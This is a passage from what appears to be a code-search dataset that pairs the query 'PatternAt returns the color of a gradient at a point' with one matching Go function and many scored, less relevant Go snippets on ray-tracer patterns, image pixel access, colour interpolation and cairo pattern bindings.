e.field }", "title": "" }, { "docid": "256dc547f9c7d0ab3da32dd7c378bd9e", "score": "0.47930777", "text": "func (e ListVerdictsV1RequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "bec3073a8e99ec41ac3d203a29ad024d", "score": "0.47911277", "text": "func (e DeploymentK8SResponseValidationError) Field() string { return e.field }", "title": "" }, { "docid": "07ca3ad543ac73ebea65b2a711bfe479", "score": "0.47898006", "text": "func (e RiskMetaRequestValidationError) Field() string { return e.field }", "title": "" }, { "docid": "f1eda7a52ed06c5f07f3e4bf2bbb3ee7", "score": "0.47881576", "text": "func (e CaptureInternalOrderResponseValidationError) Field() string { return e.field }", "title": "" } ]
851d9a0432794a7868a5f5df08e307ec
PatternAt returns the color of a gradient at a point
[ { "docid": "b2075709a01b7eb6ca9b2d3603b9f382", "score": "0.7387653", "text": "func (p *Checkers) PatternAt(point tuple.Tuple) *color.Color {\n\tv := int(math.Floor(point.X) + math.Floor(point.Y) + math.Floor(point.Z))\n\tif v%2 == 0 {\n\t\treturn &p.a\n\t}\n\treturn &p.b\n}", "title": "" } ]
[ { "docid": "08c55de1ea3d1790683785e332ec2725", "score": "0.8632892", "text": "func (p *Gradient) PatternAt(point tuple.Tuple) *color.Color {\n\tdiff := p.b.Subtract(p.a)\n\tc := p.a.Add(diff.Multiply(point.X - math.Floor(point.X)))\n\treturn &c\n}", "title": "" }, { "docid": "00f817193659ce9b60c33f611fc197cf", "score": "0.8244553", "text": "func (p *RadialGradient) PatternAt(point tuple.Tuple) *color.Color {\n\tv := math.Sqrt(point.X*point.X + point.Z*point.Z)\n\tdiff := p.b.Subtract(p.a)\n\tc := p.a.Add(diff.Multiply(v - math.Floor(v)))\n\treturn &c\n}", "title": "" }, { "docid": "907a3ecc18edf008f414ecca2b5fe666", "score": "0.782513", "text": "func (p *Ring) PatternAt(point tuple.Tuple) *color.Color {\n\tv := int(math.Floor(math.Sqrt(point.X*point.X + point.Z*point.Z)))\n\tif v%2 == 0 {\n\t\treturn &p.a\n\t}\n\treturn &p.b\n}", "title": "" }, { "docid": "fbb761e479cac359ffff813b2177dc8d", "score": "0.7585205", "text": "func (p *GradientPattern) At(point Tuple) Color {\n\tatA := p.atA(point)\n\tatB := p.atB(point)\n\tdistance := atB.Subtract(atA)\n\tfraction := point.X() - math.Floor(point.X())\n\treturn atA.Add(distance.Multiply(fraction))\n}", "title": "" }, { "docid": "626c8c0cc94ea79c1ac6a86060a6a6e5", "score": "0.7428088", "text": "func (p *Stripe) PatternAt(point tuple.Tuple) *color.Color {\n\tif int(math.Floor(point.X))%2 == 0 {\n\t\treturn &p.a\n\t}\n\treturn &p.b\n}", "title": "" }, { "docid": "6abc9f63f1d13994c0a4f181df752957", "score": "0.7042671", "text": "func (o *object) PatternAt(worldPoint *base.Tuple, pattern image.Pattern) *image.Color {\n\t// convert the point from world space to object space\n\tobjectPoint := o.worldToObject(worldPoint)\n\n\t// convert point to pattern space\n\tpatternInverse := pattern.GetTransform().Inverse()\n\tpatternPoint := patternInverse.MultiplyTuple(objectPoint)\n\n\treturn pattern.PatternAt(patternPoint)\n}", "title": "" }, { "docid": "4fff306aa07b6efcbf3ac4cbcf3ff54e", "score": "0.6693242", "text": "func (p *SolidPattern) At(point Tuple) Color {\n\treturn p.color\n}", "title": "" }, { "docid": "63759a3c3d4f69d90c3ae2b49c275888", "score": "0.6690858", "text": "func (p *BlendedPattern) At(point Tuple) Color {\n\tcolorA := p.atA(point)\n\tcolorB := p.atB(point)\n\treturn colorA.AverageBlend(colorB)\n}", "title": "" }, { "docid": "4ec92c61c315b8c118132ed1c047e0d7", "score": "0.6394222", "text": "func (p *CheckerPattern) At(point Tuple) Color {\n\tif (int(math.Floor(point.X()))+int(math.Floor(point.Y()))+int(math.Floor(point.Z())))%2 == 0 {\n\t\tsubpatternPoint := p.A.GetTransform().Inverse().ApplyTo(point)\n\t\treturn p.A.At(subpatternPoint)\n\t}\n\n\tsubpatternPoint := p.B.GetTransform().Inverse().ApplyTo(point)\n\treturn p.B.At(subpatternPoint)\n}", "title": "" }, { "docid": "827af4396efbea4233a8c130fca36e70", "score": "0.636889", "text": "func (p *RingPattern) At(point Tuple) Color {\n\tif int(math.Floor(math.Sqrt(math.Pow(point.X(), 2)+math.Pow(point.Z(), 2))))%2 == 0 {\n\t\treturn p.atA(point)\n\t}\n\n\treturn p.atB(point)\n}", "title": "" }, { "docid": "83f6a396ac37024e71f7869fabd0a78a", "score": "0.6052575", "text": "func (p *StripePattern) At(point Tuple) Color {\n\tif int(math.Floor(point.X()))%2 == 0 {\n\t\treturn p.atA(point)\n\t}\n\n\treturn p.atB(point)\n}", "title": "" }, { "docid": "d3f2b27ce0b2c444ef0c55053cec84d0", "score": "0.55549216", "text": "func (gradient GradientTable) GetInterpolatedColorFor(t float64) colorful.Color {\n\tfor i := 0; i < len(gradient) - 1; i++ {\n\t\tc1 := gradient[i]\n\t\tc2 := gradient[i+1]\n\t\tif c1.Pos <= t && t <= c2.Pos {\n\t\t\t// t is now between key-points c1 and c2. Blend them!\n\t\t\tt := (t - c1.Pos) / (c2.Pos - c1.Pos)\n\t\t\treturn c1.Col.BlendHcl(c2.Col, t).Clamped()\n\t\t}\n\t}\n\n\t// Nothing found? Then t is at or past the last gradient key-point.\n\treturn gradient[len(gradient) - 1].Col\n}", "title": "" }, { "docid": "18eed03730dcdaa9730b9781933e6ca4", "score": "0.5527834", "text": "func ColorAt(w *World, r *ray.Ray) (*color.Color, error) {\n\tintersections := RayWorldIntersect(r, w)\n\thit := ray.Hit(intersections)\n\tif hit == nil {\n\t\treturn color.NewColor(0, 0, 0), nil\n\t}\n\n\tcomps, err := ray.PrepareComputations(hit, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ShadeHit(w, comps), nil\n}", "title": "" }, { "docid": "0b9f09467a425ca3d219d00d3c5ec017", "score": "0.550351", "text": "func (pix PixelData) At(x, y int) color.Color {\n\tformat := pix.s.format\n\tbytesPerPixel := int(format.BytesPerPixel)\n\n\tptr := getPixelPointer(uintptr(pix.s.pixels), x, y, bytesPerPixel, int(pix.s.pitch))\n\tpixel := *(*uint32)(ptr)\n\n\t// TODO not necesarily NRGBA (which would be an entirely different codepath)\n\tvar col color.NRGBA\n\n\tswitch bytesPerPixel {\n\tcase 1:\n\t\t// TODO look up the color in color palette\n\tcase 2, 3, 4:\n\t\tcol.R = expandColor(pixel, format.Rmask, format.Rshift, format.Rloss)\n\t\tcol.G = expandColor(pixel, format.Gmask, format.Gshift, format.Gloss)\n\t\tcol.B = expandColor(pixel, format.Bmask, format.Bshift, format.Bloss)\n\t\t// If the alpha mask is 0, there's no alpha component, so set it to 1\n\t\tif format.Amask == 0 {\n\t\t\tcol.A = 1\n\t\t} else {\n\t\t\tcol.A = expandColor(pixel, format.Amask, format.Ashift, format.Aloss)\n\t\t}\n\t}\n\n\treturn col\n}", "title": "" }, { "docid": "2661b0adc24eb11add86cc8c53c275fc", "score": "0.5478415", "text": "func (p *Palette16) ColorAt(position uint16) color.RGBA {\n\tindex := position >> 12\n\tblendPosition := uint8(position >> 4)\n\n\tbottom := &p[index]\n\n\tvar top *color.RGBA\n\tif index >= 15 {\n\t\ttop = &p[0]\n\t} else {\n\t\ttop = &p[index+1]\n\t}\n\n\treturn color.RGBA{\n\t\tR: blend(bottom.R, top.R, blendPosition),\n\t\tG: blend(bottom.G, top.G, blendPosition),\n\t\tB: blend(bottom.B, top.B, blendPosition),\n\t\tA: 0xff,\n\t}\n}", "title": "" }, { "docid": "959b130697470bd7697811a7c5a51b0b", "score": "0.53488535", "text": "func (t texture) gradient() texture {\n\tif p := t.pattern(); p >= gradientNT {\n\t\treturn p\n\t}\n\treturn uniformT\n}", "title": "" }, { "docid": "72c52046a28cc3dd5412961c28c1dd04", "score": "0.534467", "text": "func NewGradientPattern(a Pattern, b Pattern) *GradientPattern {\n\tpattern := &GradientPattern{NewPatternProps(a, b)}\n\tpattern.p = pattern\n\treturn pattern\n}", "title": "" }, { "docid": "bf067e950d5384d41b626d5ec8699468", "score": "0.53082854", "text": "func (img Image) At(x, y int) color.Color {\n\tv := img.Transformer(x, y)\n\treturn color.RGBA{v, v, 255, 255}\n}", "title": "" }, { "docid": "af79876d9ef26e56dbd28fd1b0e210df", "score": "0.52750564", "text": "func (c *Converted) At(x, y int) color.Color {\n\treturn c.Mod.Convert(c.Img.At(x, y))\n}", "title": "" }, { "docid": "3155453e68b10e1607cd619a9bc727ea", "score": "0.5264323", "text": "func (img *GrayImage) At(x, y int) color.Color {\n\treturn img.pixels[y][x]\n}", "title": "" }, { "docid": "aa8e85eb727c1f20fc3629be3b9c4721", "score": "0.52622986", "text": "func (r *Image) At(x, y int) color.Color {\n\treturn color.RGBA{r.colr + uint8(x), r.colr + uint8(y), 255, 255}\n}", "title": "" }, { "docid": "d1b7f71b5fdd26ffb3db364ea40d7a04", "score": "0.5255485", "text": "func (g Image) At(x, y int) color.Color {\n\tc := color.Color(color.Alpha{})\n\tpoint := image.Point{x, y}\n\tfor i := len(g) - 1; i >= 0; i-- {\n\t\tif g[i].Invisible {\n\t\t\tcontinue\n\t\t}\n\t\tif !point.In(g[i].Bounds()) {\n\t\t\tcontinue\n\t\t}\n\t\tif _, ok := g.ColorModel().(color.Palette); g[i].Mode != CompositeDissolve && ok {\n\t\t\tif d := internal.ColourToNRGBA(g[i].At(x, y)); d.A > 0x7fff {\n\t\t\t\td.A = 0xffff\n\t\t\t\tc = d\n\t\t\t}\n\t\t} else {\n\t\t\tc = g[i].Mode.Composite(c, g[i].At(x, y))\n\t\t}\n\t}\n\treturn c\n}", "title": "" }, { "docid": "3d46cc60d694031da609d25c6072cd59", "score": "0.5246738", "text": "func AtObject(p Pattern, o Object, point tuple.Tuple) *color.Color {\n\toInv, _ := o.Transform.Inverse()\n\tpoint = oInv.MultiplyTuple(point)\n\tpInv, _ := p.GetTransform().Inverse()\n\tpoint = pInv.MultiplyTuple(point)\n\treturn p.PatternAt(point)\n}", "title": "" }, { "docid": "abf49194a2ae27a69c32dbbd791e40af", "score": "0.52343845", "text": "func (i Image) At(x, y int) color.Color {\n\tvar val int\n\tswitch i.f {\n\tcase 1:\n\t\tval = (x + y) / 2\n\tcase 2:\n\t\tval = x * y\n\tcase 3:\n\t\tval = x ^ y\n\t}\n\n\treturn color.RGBA{uint8(val), uint8(val), 255, 255}\n}", "title": "" }, { "docid": "c7f556d4ec35f3534ad3325ee0c9ad33", "score": "0.52015316", "text": "func (props *PatternProps) AtObject(object Shape, worldPoint Tuple) Color {\n\tlocalPoint := object.GetTransform().Inverse().ApplyTo(worldPoint)\n\tpatternPoint := props.p.GetTransform().Inverse().ApplyTo(localPoint)\n\treturn props.p.At(patternPoint)\n}", "title": "" }, { "docid": "df6cc1da600f51ae33b71d1bb14511d4", "score": "0.5187944", "text": "func (img *RGB) At(x, y int) color.Color {\n\tif !(image.Point{x, y}.In(img.Rect)) {\n\t\treturn color.RGBA{}\n\t}\n\ti := img.PixOffset(x, y)\n\treturn color.RGBA{img.Pix[i+0], img.Pix[i+1], img.Pix[i+2], 0xFF}\n}", "title": "" }, { "docid": "a64db2a0493a431306eba1082066512c", "score": "0.51865375", "text": "func (f *filterImage) At(x, y int) color.Color {\n\treturn f.atFn(x, y, f.source.At(x, y))\n}", "title": "" }, { "docid": "d668e11e08ceb40404a8275fd3e04b8d", "score": "0.5177284", "text": "func (i *Image) At(x, y int) color.Color {\n\tm := (*Map)(i)\n\tpt := coordinates.Vector{X: x, Y: -y}\n\n\t/*\n\t\tshade := uint8(255 / 2)\n\t\tif g.CellIsVacant(pt) {\n\t\t\tshade = 255\n\t\t} else if g.CellIsOccupied(pt) {\n\t\t\tshade = 0\n\t\t}\n\t*/\n\tp := math.Min(m.grid.Get(pt).Probability(), 1)\n\tshade := uint8((1.0 - p) * 255.0)\n\treturn color.RGBA{R: shade, G: shade, B: shade, A: 255}\n}", "title": "" }, { "docid": "65938bc4d12dea0a2dc0344e4309a845", "score": "0.51752526", "text": "func (i *Image) At(x, y int) color.Color {\n\t// TODO: What if At is called internaly (like from image parts?)\n\timageM.Lock()\n\tdefer imageM.Unlock()\n\tif i.isDisposed() {\n\t\treturn color.Transparent\n\t}\n\tif i.pixels == nil {\n\t\tvar err error\n\t\ti.pixels, err = i.framebuffer.Pixels(glContext)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tw := int(graphics.NextPowerOf2Int32(int32(i.width)))\n\tidx := 4*x + 4*y*w\n\tr, g, b, a := i.pixels[idx], i.pixels[idx+1], i.pixels[idx+2], i.pixels[idx+3]\n\treturn color.RGBA{r, g, b, a}\n}", "title": "" }, { "docid": "3bdbbd44a99e44042b90b1a945e4c6ba", "score": "0.5079167", "text": "func (b *Bitmap) At(x, y int) color.Color {\n\tif b.BitAt(x, y) {\n\t\treturn b.Palette[1]\n\t}\n\treturn b.Palette[0]\n}", "title": "" }, { "docid": "86f5087aa8959abc948b7d3772a072d2", "score": "0.506876", "text": "func (f *XtermImage) At(x, y int) (XtermColor, error) {\n\tw, h := f.GetSize()\n\n\tif x < 0 || y < 0 || x >= w || y >= h {\n\t\treturn 0, fmt.Errorf(\"the coord is out of bounds\")\n\t}\n\n\treturn XtermColor(f.xtermImage[y][x]), nil\n}", "title": "" }, { "docid": "2de08e5e80a23bc06710c81035ffc541", "score": "0.5021101", "text": "func (d *Map) At(x, y int) (v color.Color) {\n\tif (image.Point{x, y}.In(d.Rect)) {\n\t\ti := d.DVOffSet(x, y)\n\t\tv = color.Gray16{d.Values[i]}\n\t}\n\treturn\n}", "title": "" }, { "docid": "f9f2b40deabb8177d6aac584e05a2341", "score": "0.5018287", "text": "func (o *Gradient) Interpolate(offset float64) *Color {\n\tlog.Println(\"Calling Gradient.Interpolate()\")\n\n\t// Build out the method's arguments\n\tgoArguments := make([]reflect.Value, 1, 1)\n\tgoArguments[0] = reflect.ValueOf(offset)\n\n\t// Call the parent method.\n\n\tgoRet := o.callParentMethod(o.baseClass(), \"interpolate\", goArguments, \"*Color\")\n\n\treturnValue := goRet.Interface().(*Color)\n\n\tlog.Println(\" Got return value: \", returnValue)\n\treturn returnValue\n\n}", "title": "" }, { "docid": "b86b117b5a369af936deca60f1ea49a6", "score": "0.49824387", "text": "func (p *Picture) At(x, y int) color.Color {\n\treturn p.buffer.RGBA().At(x, y)\n}", "title": "" }, { "docid": "18c2fde8ff39976da483ebe50d231bf3", "score": "0.4929558", "text": "func colorCoordinateAt(x, y, z int, t time.Time) color.RGBA {\n\t// X represents red (more red to the right)\n\t// Y represents green (more green to the bottom)\n\t// Z represents blue (more blue to the bottom)\n\treturn color.RGBA{uint8(x * 255 / (size + 1)), uint8(y * 255 / (size + 1)), uint8(z * 255 / (size + 1)), 0xff}\n}", "title": "" }, { "docid": "309a138bba2696de2b0aac9a50ade77f", "score": "0.49181217", "text": "func (c Color) Interpolate(x float64) gohue.Color {\n\tidx := c.search(x)\n\tif idx == len(c) {\n\t\treturn c[idx-1].Color\n\t}\n\tif idx == 0 {\n\t\treturn c[0].Color\n\t}\n\tratio := (x - c[idx-1].Value) / (c[idx].Value - c[idx-1].Value)\n\treturn c[idx-1].Color.Blend(c[idx].Color, ratio)\n}", "title": "" }, { "docid": "11f89a64a5dfdf1ed45d5e7df289a7b4", "score": "0.49162552", "text": "func (props *PatternProps) atA(parentPatternPoint Tuple) Color {\n\treturn props.A.At(props.A.GetTransform().Inverse().ApplyTo(parentPatternPoint))\n}", "title": "" }, { "docid": "4d8917ea2336d7fcb7d342af1a9728a5", "score": "0.4915207", "text": "func (t texture) pattern() texture {\n\tif p := t.unblur() &^ textureColorMask; p >= uniformT {\n\t\treturn p.unblur()\n\t}\n\treturn uniformT\n}", "title": "" }, { "docid": "de85cd378a486aa378c757ef8e982a1b", "score": "0.4893054", "text": "func PatternGetColorStopRgba(pattern *Pattern, index int32, offset *float64, red *float64, green *float64, blue *float64, alpha *float64) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcindex, _ := (C.int)(index), cgoAllocsUnknown\n\tcoffset, _ := (*C.double)(unsafe.Pointer(offset)), cgoAllocsUnknown\n\tcred, _ := (*C.double)(unsafe.Pointer(red)), cgoAllocsUnknown\n\tcgreen, _ := (*C.double)(unsafe.Pointer(green)), cgoAllocsUnknown\n\tcblue, _ := (*C.double)(unsafe.Pointer(blue)), cgoAllocsUnknown\n\tcalpha, _ := (*C.double)(unsafe.Pointer(alpha)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_get_color_stop_rgba(cpattern, cindex, coffset, cred, cgreen, cblue, calpha)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "56585f49b587205909a5dc1db33188a6", "score": "0.48550272", "text": "func (p *Monochrome) At(x, y int) color.Color {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn Pixel(White)\n\t}\n\ti := p.pixOffset(x, y)\n\treturn Pixel(p.Pix[i]&(1<<uint(x%8)) != 0)\n}", "title": "" }, { "docid": "8f8cc0ca8170f19cc9362de32bccc8c3", "score": "0.48081774", "text": "func noiseAt(x, y, z int, t time.Time) color.RGBA {\n\tconst (\n\t\tspread = 4096 / size // higher means the noise gets more detailed\n\t\tspeed = 20 // higher means slower\n\t)\n\thue := uint16(ledsgo.Noise4(int32(t.UnixNano()>>speed), int32(x*spread), int32(y*spread), int32(z*spread))) * 2\n\treturn ledsgo.Color{hue, 0xff, 0xff}.Spectrum()\n}", "title": "" }, { "docid": "51671c7c1436ca10f38d672016b595b9", "score": "0.47970313", "text": "func (props *PatternProps) atB(parentPatternPoint Tuple) Color {\n\treturn props.B.At(props.B.GetTransform().Inverse().ApplyTo(parentPatternPoint))\n}", "title": "" }, { "docid": "120213799e85d3cafd9c74e0e1c88bf1", "score": "0.47481433", "text": "func MeshPatternGetControlPoint(pattern *Pattern, patchNum uint32, pointNum uint32, x *float64, y *float64) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcpatchNum, _ := (C.uint)(patchNum), cgoAllocsUnknown\n\tcpointNum, _ := (C.uint)(pointNum), cgoAllocsUnknown\n\tcx, _ := (*C.double)(unsafe.Pointer(x)), cgoAllocsUnknown\n\tcy, _ := (*C.double)(unsafe.Pointer(y)), cgoAllocsUnknown\n\t__ret := C.cairo_mesh_pattern_get_control_point(cpattern, cpatchNum, cpointNum, cx, cy)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "56c2d2a24496778bc8d7bb7880c2dbd6", "score": "0.47425064", "text": "func PatternGetLinearPoints(pattern *Pattern, x0 *float64, y0 *float64, x1 *float64, y1 *float64) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcx0, _ := (*C.double)(unsafe.Pointer(x0)), cgoAllocsUnknown\n\tcy0, _ := (*C.double)(unsafe.Pointer(y0)), cgoAllocsUnknown\n\tcx1, _ := (*C.double)(unsafe.Pointer(x1)), cgoAllocsUnknown\n\tcy1, _ := (*C.double)(unsafe.Pointer(y1)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_get_linear_points(cpattern, cx0, cy0, cx1, cy1)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "f9ee8eac3b99ab0a5b73a0d50ce7f0e1", "score": "0.47179437", "text": "func PatternAddColorStopRgb(pattern *Pattern, offset float64, red float64, green float64, blue float64) {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcoffset, _ := (C.double)(offset), cgoAllocsUnknown\n\tcred, _ := (C.double)(red), cgoAllocsUnknown\n\tcgreen, _ := (C.double)(green), cgoAllocsUnknown\n\tcblue, _ := (C.double)(blue), cgoAllocsUnknown\n\tC.cairo_pattern_add_color_stop_rgb(cpattern, coffset, cred, cgreen, cblue)\n}", "title": "" }, { "docid": "73985284008f84fefdf929852dccfd94", "score": "0.470766", "text": "func PatternCreateLinear(x0 float64, y0 float64, x1 float64, y1 float64) *Pattern {\n\tcx0, _ := (C.double)(x0), cgoAllocsUnknown\n\tcy0, _ := (C.double)(y0), cgoAllocsUnknown\n\tcx1, _ := (C.double)(x1), cgoAllocsUnknown\n\tcy1, _ := (C.double)(y1), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_create_linear(cx0, cy0, cx1, cy1)\n\t__v := *(**Pattern)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "e9929810eaa49adadd8e94c47e4344a1", "score": "0.467818", "text": "func (p *Palette) ColourAt(pos PaletteId) (Colour, error) {\n\tif pos >= paletteSize {\n\t\treturn 0, fmt.Errorf(\"%w: index out of bounds, got %d, max value is %d\", PaletteErr, pos, paletteSize-1)\n\t}\n\tif !p.colours[pos].enabled {\n\t\treturn 0, fmt.Errorf(\"%w: uninitialised colour for requested palette ID\", PaletteErr)\n\t}\n\treturn p.colours[pos].colour, nil\n}", "title": "" }, { "docid": "cf2ae621411aa2f883f42eec4f3c3537", "score": "0.46755612", "text": "func PatternGetColorStopCount(pattern *Pattern, count *int32) Status {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tccount, _ := (*C.int)(unsafe.Pointer(count)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_get_color_stop_count(cpattern, ccount)\n\t__v := (Status)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "35efd41db4526e6cf3c2f01c1c97b578", "score": "0.46521467", "text": "func filterColor(row, col int) Color {\n\treturn XTransPattern[(row+6)%6][(col+6)%6]\n}", "title": "" }, { "docid": "69b7e55f748282609a56561bb2a1d53e", "score": "0.46244368", "text": "func RasterSourcePatternGetFinish(pattern *Pattern) RasterSourceFinishFunc {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\t__ret := C.cairo_raster_source_pattern_get_finish(cpattern)\n\t__v := *NewRasterSourceFinishFuncRef(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "657b1e367e2917505f4a090a0a7d4ab2", "score": "0.46231052", "text": "func (im Xor) At(x, y int) color.Color {\n\tvar (\n\t\tr uint32\n\t\tg uint32\n\t\tb uint32\n\t\ta uint32\n\t)\n\n\tfor _, img := range im {\n\t\tc := img.At(x, y)\n\t\tir, ig, ib, ia := c.RGBA()\n\n\t\tr ^= ir\n\t\tg ^= ig\n\t\tb ^= ib\n\t\tif ia > a {\n\t\t\ta = ia\n\t\t}\n\t}\n\n\tvar c color.NRGBA64\n\tc.R = uint16(r)\n\tc.G = uint16(g)\n\tc.B = uint16(b)\n\tc.A = uint16(a)\n\n\treturn c\n}", "title": "" }, { "docid": "5b0f7d9bb5720e828eea2ded869c221f", "score": "0.46043843", "text": "func PatternAddColorStopRgba(pattern *Pattern, offset float64, red float64, green float64, blue float64, alpha float64) {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\tcoffset, _ := (C.double)(offset), cgoAllocsUnknown\n\tcred, _ := (C.double)(red), cgoAllocsUnknown\n\tcgreen, _ := (C.double)(green), cgoAllocsUnknown\n\tcblue, _ := (C.double)(blue), cgoAllocsUnknown\n\tcalpha, _ := (C.double)(alpha), cgoAllocsUnknown\n\tC.cairo_pattern_add_color_stop_rgba(cpattern, coffset, cred, cgreen, cblue, calpha)\n}", "title": "" }, { "docid": "18c7b93c0c87cc589c63e3f618929738", "score": "0.45903322", "text": "func (p *RGB64) RGBAt(x, y int) hdrcolor.RGB {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn hdrcolor.RGB{}\n\t}\n\ti := p.PixOffset(x, y)\n\treturn hdrcolor.RGB{R: p.Pix[i+0], G: p.Pix[i+1], B: p.Pix[i+2]}\n}", "title": "" }, { "docid": "9efd0e3d789e89d4bc983e5b1eb465b0", "score": "0.4562509", "text": "func (gen *Generator) drawFinderPattern(x, y int) {\n\tfor i := -4; i <= 4; i++ {\n\t\tfor j := -4; j <= 4; j++ {\n\t\t\tdist := int(math.Max(math.Abs(float64(i)), math.Abs(float64(j))))\n\t\t\txx, yy := int(x+j), int(y+i)\n\t\t\tif 0 <= xx && xx < gen.size && 0 <= yy && yy < gen.size {\n\t\t\t\tgen.setFunctionModule(xx, yy, dist != 2 && dist != 4)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1b9723a53dc59191dd820daa800994df", "score": "0.45559493", "text": "func PatternReference(pattern *Pattern) *Pattern {\n\tcpattern, _ := (*C.cairo_pattern_t)(unsafe.Pointer(pattern)), cgoAllocsUnknown\n\t__ret := C.cairo_pattern_reference(cpattern)\n\t__v := *(**Pattern)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "91491b2b97b0ebf4ef7cc6b7cf8adbcf", "score": "0.45494178", "text": "func (s *Schema) FindPatternProperty(name string) *low.ValueReference[*SchemaProxy] {\n\treturn low.FindItemInMap[*SchemaProxy](name, s.PatternProperties.Value)\n}", "title": "" }, { "docid": "5c54feb8d34efa7c10057a1800105835", "score": "0.45274782", "text": "func GrayAt(img image.Image, x, y int) uint8 {\n\tp := img.At(x, y)\n\tr, _, _, _ := p.RGBA()\n\treturn uint8(r)\n}", "title": "" }, { "docid": "47e8cbaa3587bac8cc85ed3d48c6f8a5", "score": "0.45209545", "text": "func (pc *PieChart) colorFor(i int) Attribute {\n\treturn pc.Colors[i%len(pc.Colors)]\n}", "title": "" }, { "docid": "51c0f0f835a7faa4bd95dd743f04f6c4", "score": "0.45138884", "text": "func (p *RGB) RGBAt(x, y int) hdrcolor.RGB {\n\tif !(image.Point{x, y}.In(p.Rect)) {\n\t\treturn hdrcolor.RGB{}\n\t}\n\ti := p.PixOffset(x, y)\n\treturn hdrcolor.RGB{\n\t\tR: float64(p.Pix[i+0]),\n\t\tG: float64(p.Pix[i+1]),\n\t\tB: float64(p.Pix[i+2]),\n\t}\n}", "title": "" }, { "docid": "a350499239ea233300e43982cc13eef6", "score": "0.4496949", "text": "func (o *Gradient) GetColor(point int64) *Color {\n\tlog.Println(\"Calling Gradient.GetColor()\")\n\n\t// Build out the method's arguments\n\tgoArguments := make([]reflect.Value, 1, 1)\n\tgoArguments[0] = reflect.ValueOf(point)\n\n\t// Call the parent method.\n\n\tgoRet := o.callParentMethod(o.baseClass(), \"get_color\", goArguments, \"*Color\")\n\n\treturnValue := goRet.Interface().(*Color)\n\n\tlog.Println(\" Got return value: \", returnValue)\n\treturn returnValue\n\n}", "title": "" }, { "docid": "7449277faefa62cb1bd478eddf913dc2", "score": "0.44968343", "text": "func interp(i, length, mapTo int) color.RGBA {\n\tlower := i * mapTo / length\n\tweight := float64(i*mapTo)/float64(length) - float64(lower)\n\tr := rainbow[lower].R + uint8(weight*float64(rainbow[lower+1].R-rainbow[lower].R))\n\tg := rainbow[lower].G + uint8(weight*float64(rainbow[lower+1].G-rainbow[lower].G))\n\tb := rainbow[lower].B + uint8(weight*float64(rainbow[lower+1].B-rainbow[lower].B))\n\treturn color.RGBA{r, g, b, 255}\n}", "title": "" }, { "docid": "c6d451f4eaa2cec9b76c53eadf47595f", "score": "0.4488643", "text": "func (cb CombinedBarcode) At(x, y int) color.Color {\n\tfor _, b := range cb.barcodes {\n\t\tp := image.Point{X: x, Y: y}\n\t\tif p.In(b.Rectangle) {\n\t\t\tvar localX, localY int\n\t\t\tif cb.direction == vertical {\n\t\t\t\tlocalX = x\n\t\t\t\t// For vertical barcodes we need to adjust the Y coordinate\n\t\t\t\t// to the local barcode when getting the color value at that coordinate\n\t\t\t\tlocalY = y - b.Rectangle.Min.Y\n\t\t\t} else if cb.direction == horizontal {\n\t\t\t\t// For horizontal barcodes we need to adjust the X coordinate\n\t\t\t\t// to the local barcode when getting the color value at that coordinate\n\t\t\t\tlocalX = x - b.Rectangle.Min.X\n\t\t\t\tlocalY = y\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Errorf(\"Unsupported direction %q\", cb.direction))\n\t\t\t}\n\n\t\t\treturn b.Barcode.At(localX, localY)\n\t\t}\n\t}\n\n\treturn color.White\n}", "title": "" }, { "docid": "db377949edb1c7420f0d7e98cc95502f", "score": "0.4486156", "text": "func (o Metric) Pattern() string {\n\treturn o.Formula\n}", "title": "" }, { "docid": "0120d94011815ef1e9c8e2a8ba594b2d", "score": "0.44567567", "text": "func (m *Map) At(u, v float64) *Sample {\n\tf := m.d.Fresnel.Average()\n\ts := &Sample{\n\t\tColor: m.d.Color,\n\t\tLight: m.d.Light,\n\t\tFresnel: m.d.Fresnel,\n\t\tTransmit: m.d.Transmit,\n\t\tRefract: (1 + math.Sqrt(f)) / (1 - math.Sqrt(f)),\n\t\tRough: m.d.Rough,\n\t\tCoat: m.d.Coat,\n\t\tMetal: m.d.Metal,\n\t\tThin: m.d.Thin,\n\t}\n\tif m.d.Texture != nil {\n\t\twidth := m.d.Texture.Bounds().Max.X\n\t\theight := m.d.Texture.Bounds().Max.Y\n\t\tu2 := u * float64(width)\n\t\tv2 := -v * float64(height)\n\t\tx := int(u2) % width\n\t\tif x < 0 {\n\t\t\tx += width\n\t\t}\n\t\ty := int(v2) % height\n\t\tif y < 0 {\n\t\t\ty += height\n\t\t}\n\t\tr, g, b, a := m.d.Texture.At(x, y).RGBA()\n\t\ts.Color = rgb.Energy{float64(r), float64(g), float64(b)}.Amplified(1 / float64(a))\n\t\t// TODO: deal with metals; s.Fresnel = s.Fresnel.Blend(s.Color, 